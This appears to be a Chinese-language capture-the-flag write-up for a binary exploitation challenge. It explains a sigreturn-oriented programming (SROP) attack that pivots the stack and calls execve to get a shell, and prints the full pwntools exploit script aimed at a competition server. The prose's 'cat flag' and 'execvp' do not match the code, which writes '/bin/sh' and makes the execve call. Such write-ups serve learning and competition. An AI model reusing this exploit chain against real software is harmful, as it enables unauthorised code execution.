原始栈视图
/
/
/
/
/
/
/
/ ret2
/ rax
/sp ret1
/sp-8 写入位置
思路如下:将栈迁移到bss-200的位置,再次回main函数,将cat flag字符写入栈,执行execvp的系统调用。
注意:因为该题没有ropgadget,所以考虑用srop。
sigreturn 的调用号是15 execvp 的调用号为0x3b
两个payload逐个发送
payload1 = 8*b’a’ + p64(pop_rax) + p64(15) + p64(syscall) + sigreturnFrame(ip=main,sp=bss-200)
payload2 = b’cat flag’ + p64(pop_rax) + p64(15) + p64(syscall) + sigreturnFrame(ip=syscall,ax=0x3b,di=bss-200-8, si=0,dx=0)
完整payload如下
from pwn import *
if __name__ == '__main__':
# 40038-41000是可读可写的
# 这里的segments考察了段加载,bss段静态程序中虽然小,但是因为段加载原因,一次加载0x1000
bss_ddr = 0x40dfe
pop_rax = 0x40018
syscall = 0x040015
main_ddr = 0x40000
context.arch = "amd64"
frame1 = SigreturnFrame()
frame1.rip = main_ddr
frame1.rsp = bss_ddr
payload1 = 8 * b'a' + p64(pop_rax) + p64(15) + p64(syscall) + bytes(frame1)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b
frame2.rdi = bss_ddr - 8
frame2.rsi = 0
frame2.rdx = 0
payload2 = b'/bin/sh\x00' + p64(pop_rax) + p64(15) + p64(syscall) + bytes(frame2)
print(payload1)
print(len(payload1))
print(payload2)
print(len(payload2))
io = remote('cybergon2023.webhop.me', 5004)
sleep(5)
io.sendline(payload1)
sleep(5)
io.sendline(payload2)
io.interactive()